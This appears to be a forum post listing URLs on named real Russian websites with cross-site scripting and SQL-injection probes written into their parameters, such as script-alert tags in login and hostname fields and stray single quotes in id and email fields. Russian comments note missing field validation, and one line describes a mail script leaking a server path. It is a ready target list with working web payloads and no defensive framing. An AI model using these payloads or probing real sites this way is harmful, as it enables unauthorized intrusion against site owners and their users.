http://1ps.ru/pr/ отсутствует проверка полей
http://seminar.spylog.ru/?rp=seminars/descr/15/ отсутствует проверка полей
http://members.yadro.ru/banners/nowstate.php3?vbn_id=-1'
http://hw.ru/hi-tech/Login.jsp?login='"><script>alert(1)</script>&password='"><script>alert(2)</script>
http://www.srb.ru/search-results/?q=...d&ps=10&page=0
http://www.profits.ru/login.php?w=user&o=login&e=u'
http://www.gf.ru/cgi-bin/podftp.cgi?hostname=<script>alert()</script>
http://www.zerkalo.com/cgi-bin/mail/adduser.cgi вводим в дополнительно->наши новости:Разные словосочетания допустим '"><script>!! в поля email и имя, и получаем на выходе http://www.zerkalo.com/cgi-bin/mail/adduser.cgi со строкой/home/ztu22/dead.letter... Saved message in /home/ztu22/dead.letter
http://smchat.ru/?s=reguser&login="><script>alert()</script>
http://www.film.ru/search.asp?what=%...ot&mode=medium